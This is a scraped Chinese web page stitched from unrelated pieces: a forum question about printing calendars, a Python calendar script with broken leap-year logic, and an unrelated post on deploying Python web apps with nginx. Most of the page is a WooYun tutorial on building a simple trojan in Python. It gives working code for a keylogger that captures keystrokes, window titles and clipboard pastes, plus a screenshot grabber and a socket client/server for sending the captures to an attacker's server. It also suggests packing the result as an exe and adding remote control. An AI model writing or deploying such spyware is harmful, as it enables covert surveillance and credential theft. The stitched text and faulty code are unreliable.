python编写简易2015年年历表打印版

新手求助,如何用Python写日历让三个月在在一排输出?_python吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:34,447贴子:
新手求助,如何用Python写日历让三个月在在一排输出?收藏
不用Python的calendar模块,新手已经纠结了很久
有个第三方的时间模块,搜下
已写好一个日历可以输出任一年的年历只是每个月是一直竖着排下来的 想问怎么弄才能让三个月在一排输出来
把月历存在列表里输出试一下
登录百度帐号推荐应用
为兴趣而生,贴吧更懂你。或Python实现的简单万年历例子分享
#!/usr/bin/env python2#-*- coding:utf-8 -*-__author__ = ‘jalright’
“””使用python实现万年历“””
def is_leap_year(year):&&& “””判断是否是闰年,返回boolean值&&& “””&&& if year/4==0 and& year/400 !=0:&&&&&&& return True&&& elif year/100 == 0 and year/400 ==0 :&&&&&&& return True&&& else:&&&&&&& return False
def getMonthDays(year,month):&&& “””获取指定年月的月份有多少天&&& “””&&& days = 31&&&&&&& #31天居多,设置为默认值&&& if month == 2 :&&& #2月份要判断是否是闰年&&&&&&& if is_leap_year(year):&&&&&&&&&&& days=29&&&&&&& else:&&&&&&&&&&& days=28;&&& elif month in [4,6,9,11]:&&&& #判断小月,只有30天&&&&&&& days=30&&& return days
def getTotalDays(year,month):&&& “””获取离现在有多少天,是星期一,以这个为标准来判断星期&&& “””&&& totalDays=0&&& for i in range(1990,year):&&&& #使用range来循环,算出多少年多少天&&&&&&& if is_leap_year(i):&&&&&&& #判断是否是闰年&&&&&&&&&&& totalDays += 366&&&&&&& else:&&&&&&&&&&& totalDays += 365&&& for i in range(1,month):&&&&&& #使用range循环,算出今年前面几个月过了多少天&&&&&&& totalDays +=getMonthDays(year,i)&&& return totalDays
if __name__ == ‘__main__’:&&& while True:&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& #循环判断是否输入错误的格式&&&&&&& print “××××××××××python实现万年历××××××××”&&&&&&& year = raw_input(“请输入年份(如:1990):”)&&&&&&& month = raw_input(“请输入月份:如:1”)&&&&&&& try:&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& #捕捉输入异常格式和月份的正确&&&&&&&&&&& year = int(year)&&&&&&&&&&& month = int(month)&&&&&&&&&&& if month &1 or month &1:&&&&&&&&&&& #判断月份是否输入错误,错误就重新开始循环&&&&&&&&&&&&&&& print “年份或者月份输入错误,请重新输入!”&&&&&&&&&&&&&&& continue&&&&&&& except:&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& #捕捉到转换成整型异常,输出提示,重新开始循环&&&&&&&&&&& print “年份或者月份输入错误,请重新输入!”&&& &&&&&&&&&&& continue&&&&&&& break&&&& #如果没有异常就跳出循环&&& #if is_leap_year(year):&&& #&&& print “%s是润年”%year&&& #else:&&& #&&& print “%s是平年”%year&&& #print “%s月份总共有%s天!”%(month,getMonthDays(year,month))
&&& print “日\t一\t二\t三\t四\t五\t六”&&& iCount = 0&&&&& #计数器来判断是否换行&&& for i in range(getTotalDays(year,month)%7):&&&&&&& print ‘\t’,&&&&&&&&&&&&&&&& #输出空不换行&&&&&&& iCount+=1&&& for i in range(1,getMonthDays(year,month)):&&&&&&& print i,&&&&&&& print ‘\t’,&&&&&&& iCount +=1&&&&&&& if iCount%7 == 0 :&&&&&&&&&& #计数器取余为0,换行&&&&&&&&&&& print ”
相关文章:
暂时还没有评论.Python编写简易木马程序 | WooYun知识库
Python编写简易木马程序
文章内容仅供学习研究、切勿用于非法用途!
这次我们使用Python编写一个具有键盘记录、截屏以及通信功能的简易木马。依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码,安装配置JEDI插件可以参照这里: http://drops.wooyun.org/tips/4413
首先准备好我们需要的依赖库,python hook和pythoncom。
下载安装python hook
下载安装pythoncom模块:
http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download
如果觉得麻烦,你可以直接使用集成了所有我们所需要的python库的商业版Activepython(我们可以用他的免费版):
/activepython
0x01 键盘记录器
说起Keylogger,大家的思维可能早已飞向带有wifi功能的mini小硬件去了。抛开高科技,我们暂且回归本质,探探简易键盘记录器的原理与实现。
Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓“人生苦短,快用Python”。
代码部分:
# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# 获取最上层的窗口句柄
hwnd = user32.GetForegroundWindow()
# 获取进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
# 将进程ID存入变量中
process_id = "%d" % pid.value
# 申请内存
executable = create_string_buffer("\x00"*512)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
# 读取窗口标题
windows_title = create_string_buffer("\x00"*512)
length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
# 关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
# 定义击键监听事件函数
def KeyStroke(event):
global current_window
# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.WindowName != current_window:
current_window = event.WindowName
# 函数调用
get_current_process()
# 检测击键是否常规按键(非组合键等)
if event.Ascii & 32 and event.Ascii &127:
print chr(event.Ascii),
# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE]-%s" % (pasted_value),
print "[%s]" % event.Key,
# 循环监听下一个击键事件
return True
# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
【知识点】钩子(Hook):Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。
撸代码时一定要注意严格区分大小写。检查无误后启动keylogger:
然后可以尝试打开记事本写点东西,过程中可以看到我们的keylogger窗口正在对我们的输入实时记录:
切换窗口时会自动跟踪到新窗口(众:这点功能都没有还敢叫keylogger吗!),light教授趁机骚扰一下疯狗,可以看到我们的keylogger已经跟踪到QQ聊天窗口,并忠实的记录下我输入的一切。
0x02 看看你在干什么:编写一个screenshotter
截屏实现起来更简单,直接调用几个gui相关的api即可,我们直接看代码:
# -*- coding: utf-8 -*-
import win32gui
import win32ui
import win32con
import win32api
# 获取桌面
hdesktop = win32gui.GetDesktopWindow()
# 分辨率适应
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# 创建一个内存设备描述表
mem_dc = img_dc.CreateCompatibleDC()
# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
# 截图至内存设备描述表
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
# 将截图保存到文件中
screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')
# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
看看效果如何:
0x03 综合运用:完成一个简易木马
无论是keylogger记录下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单server和client端来进行通信,传输记录下的内容到我们的服务器上。
编写一个简单的TCPclient
# -*- coding: utf-8 -*-
import socket
# 目标地址IP/URL及端口
target_host = "127.0.0.1"
target_port = 9999
# 创建一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# 连接主机
client.connect((target_host,target_port))
# 发送数据
client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")
# 接收响应
response = client.recv(4096)
print response
编写一个简单的TCPserver
# -*- coding: utf-8 -*-
import socket
import threading
# 监听的IP及端口
bind_ip = "127.0.0.1"
bind_port = 9999
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print "[*] Listening on %s:%d" % (bind_ip,bind_port)
def handle_client(client_socket):
request = client_socket.recv(1024)
print "[*] Received:%s" % request
client_socket.send("ok!")
client_socket.close()
while True:
client,addr = server.accept()
print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])
client_handler = threading.Thread(target=handle_client,args=(client,))
client_handler.start()
开启服务端监听:
客户端执行:
服务端接收到客户端的请求并作出响应:
最后,你需要做的就是把上面三个模块结合起来,一个简易的具有键盘记录、屏幕截图并可以发送内容到我们服务端的木马就完成了。可以使用py2exe把脚本生成exe可执行文件。当然你还可以继续发挥,加上远程控制功能。Py2exe用法可以参考这里:
http://www.py2exe.org/index.cgi/Tutorial
Enjoy coding~
参考文档:
《Black Hat Python》
https://www.python.org/ http://www.py2exe.org/
mark一下学习
好吧。。错了,以下才是错误。
Traceback (most recent call last):
File &H:/PycharmProjects/Script/Keylogger.py&, line 4, in &module&
import pyHook
File &F:\Python27\lib\site-packages\pyHook\__init__.py&, line 1, in &module&
from HookManager import *
File &F:\Python27\lib\site-packages\pyHook\HookManager.py&, line 1, in &module&
import cpyHook
File &F:\Python27\lib\site-packages\pyHook\cpyHook.py&, line 7, in &module&
import _cpyHook
ImportError: DLL load failed: %1 ??????Ч?? Win32 ??ó???
Process finished with exit code 1
我明明已经成功安装了所需库,包括pyhook
我试着学习分析你写的那个keylogger简易小木马,但是编译运行后报错。似乎是调用的问题,请问怎么解决(/ □ \)python入门者求教。。
Traceback (most recent call last):
File &H:/PycharmProjects/Script/example.py&, line 53, in &module&
opener = urllib2.build_opener(httpHandler, httpsHandler, cookie, urllib2.HTTPHandler)
File &F:\Python27\lib\urllib2.py&, line 490, in build_opener
opener.add_handler(h)
File &F:\Python27\lib\urllib2.py&, line 326, in add_handler
type(handler))
TypeError: expected BaseHandler instance, got &type 'instance'&
大牛莫谦虚,我就是不会c++才玩Python的。。
楼主是妹子。
对于我这种菜鸟,对于GRAY HAT PYTHON和BLACK HAT PYTHON里面强行python的代码,真的不知道作用在哪。。求大神啪啪打脸。不过思路还不错。。看GRAY HAT PYTHON 都是看思路用c++实现。。。
厉害,一定要去学习一个!
python 写这东西还是有点蛋疼,虽然可以打包 exe,但是有些机器上还是不好使。而且很难进行代码混淆。这些木马功能,晚上随便找个 c++的源码都能实现~
如果对方 没有python环境 怎么运行。。。。
the miusc-
首席音乐家
有道理,编译后的exe文件基本上无法达到木马或者远控的标准。有例子就拿sqlmap.exe版本就能看出
顶楼主,改天再写写摄像头拍照呗!
1. 需要编译
2. 编译完了会很大, 里面有相关库的DLL文件, 而且有一大堆东西虽然不知道都是些什么, 目测这样的木马用处不会很大(当然有大牛出来实力打脸我也办法)
当然除非别人很相信你, 然后点击你提供的exe, 当然这个exe假如你没有处理好的, 点开之后就是一个大黑框, 上面会有你的debug信息, 所以你还要把exe在代码里面fork为daemon进程
才知道你也玩Python
大黑阔你能干点有意义的事情么
python脚本写完就可以直接运行,不需要人工编译
对不起,我黑了你的电吉他,依班娜的。
1,需要编译么? 不编译的话肉鸡上未必有这模块,当然可以自动安装
2,编译的话 会不会很大
一个截图6M,确实要压缩才行。。。求高手
是为一个python win32编程的好例子~
挺好的,学习了
顶乌云音乐家
python真强大~
哇 我的偶像来了,快签名快签名
关键是图片传输压缩算法
乌云音乐家。前排广告出售!
感谢知乎授权页面模版application -----> DB server
主流的web server 一个巴掌就能数出来,apache,lighttpd,nginx,iis
application,中文名叫做应用服务,就是你基于某个web framework写的应用代码
DB server 泛指存储服务,web开发中用mysql比较多,最近几年因为网站规模扩大,memcache,redis这种key-value等存储也流行开来
放在最前面的web server有3个功能
高效率处理静态文件,web server都是用c开发,调用是native的函数,对IO,文件传输都做针对性的优化
充当一个简易的网络防火墙,可以denny一些ip,简单的控制并发连接数量等等,聊胜于无
处理高并发短连接请求,把成千上万用户的request 通过内网的几十个长连接进行转发,原因一个是web server处理高并发很专业,另外一个原因是大部分的application所用的框架都不具备处理高并发的能力
实际上,市面上有部分web framework由于内置了支持epoll/kqueue 等高效网络库,而具备了处理高并发的能力,比如说
python的tornado,java系的tomcat,jetty等等,有人就去掉前端的web server,直接裸奔,但是在部署公网应用时候,最好别这样做,因为前面提到的1,2两个原因,用户brower到web server的网络状况是千奇百怪,你无法想象的,
web server 强烈建议使用nginx,原因有三
性能非常卓越,非常稳定
安装简单,依赖包少
conf文件非常容易配置,比apache/lighttpd都要简单
部署python开发的web程序有9种方法
mod_python,这是apache内置的模块,很严重的依赖于mod_python编译使用的python版本,和apache配套使用,不推荐
cgi,这个太old,不推荐,而且nginx不支持cgi方式,只能用lighttpd或者apache
fastcgi ,这个是目前流行最广的做法,通过flup模块来支持的,在nginx里对应的配置指令是 fastcgi_pass
spawn-fcgi,这个是fastcgi多进程管理程序,lighttpd安装包附带的,和flup效果一样,区别是flup是 python代码级引入,spawn-fcgi是外部程序。spawn-fcgi用途很广,可以支持任意语言开发的代码,php,python,perl,只要你代码实现了fastcgi接口,它都可以帮你管理你的进程
scgi,全名是Simple Common Gateway Interface,也是cgi的替代版本,很简单,我觉得和fastcgi差不多,只是没有怎么推广开来,nginx对应的配置指令是scgi_pass,你想用就用,flup也支持。
http,nginx使用proxy_pass转发,这个要求后端appplication必须内置一个能处理高并发的http server,在python的web框架当中,只能选择tornado.
python程序员喜欢发明轮子,tornado除了是一个web framework之外,它还可以单独提供高性能http server,所以,如果你采用其他python框架写代码,比如说bottle,也一样可以通过import tornado 来启动一个高性能的http server,同样的可以采用http协议和nginx一起来部署。扩展开来,python包里面能处理高并发的http server还有很多,比如说gevent,也可以被其他框架引用来支持http方式部署。
现实当中,用java来做web程序,通常就用http和nginx配合,应用服务器选择tomcat或者jetty
uwsgi,包括4部分组成,
web server内置支持协议模块
application服务器协议支持模块
进程控制程序
nginx从0.8.4开始内置支持uwsgi协议,uwsgi协议非常简单,一个4个字节header+一个body,body可以是很多协议的包,比如说http,cgi等(通过header里面字段标示),我曾经做个一个小规模的性能对比测试,结果表明,uwsgi和fastcgi相比,性能没有太明显的优势,也可能是数据集较小的原因
uwsgi的特点在于自带的进程控制程序.它是用c语言编写,使用natvie函数,其实和spawn-fcgi/php-fpm类似。所以uwsgi可以支持多种应用框架,包括(python,lua,ruby,erlang,go)等等
Gunicorn,和uwsgi类似的工具,从rails的部署工具(Unicorn)移植过来的。但是它使用的协议是 WSGI,全称是Python Web Server Gateway Interface ,这是python2.5时定义的官方标准( ),根红苗正,而且部署比较简单, 上有详细教程
mod_wsgi,apache的一个module,也是支持WSGI协议,
fastcgi协议和http协议在代码部署中的的优劣对比
fastcgi虽然是二进制协议,相对于http协议,并不节省资源。二进制协议,只能节省数字的表达,比如 1234567,用字符串表示需要7个Byte,用数字就是4个Byte,而字符串到哪里都一样
fastcgi在传输数据的时候,为了兼容cgi协议,还要带上一堆cgi的环境变量,所以和http协议相比,用fastcgi传输数据并不省,反而多一些
fastcgi 唯一的优点是,它是长连接的,用户并发1000个request,fastcgi可能就用10个 链接转发给后端的appplication,如果用http协议,那来多少给多少,会向后端appplication 发起1000个请求
http代理转发方式,在面对超高并发的情况下会出问题,因为,tcp协议栈当中,port是int16整型 你本地新建一个connect,需要消耗一个端口,最多能到65536。外部并发几十万个请求,port池耗干,你的服务器只能拒绝响应了
我个人习惯是用 fastcgi 协议部署python程序,简单省事,选择技术方案,一定要选择最简单最常见的,本博客的fastcgi运行脚本如下
kill -9 `cat /tmp/django.pid`
echo 'restart django....'
python ./manage.py runfcgi --settings=lutaf.settings_r maxchildren=8
maxspare=3 minspare=1 method=prefork
pidfile=/tmp/django.pid host=127.0.0.1 port=9900 outlog=/tmp/dj.out errlog=/tmp/dj.error
推荐大家尝试 Gunicorn ,这是未来发展方向
鲁塔弗原创文章,欢迎转载,请附带原文链接第三方登录:}

我要回帖

更多关于 python编写简易木马 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信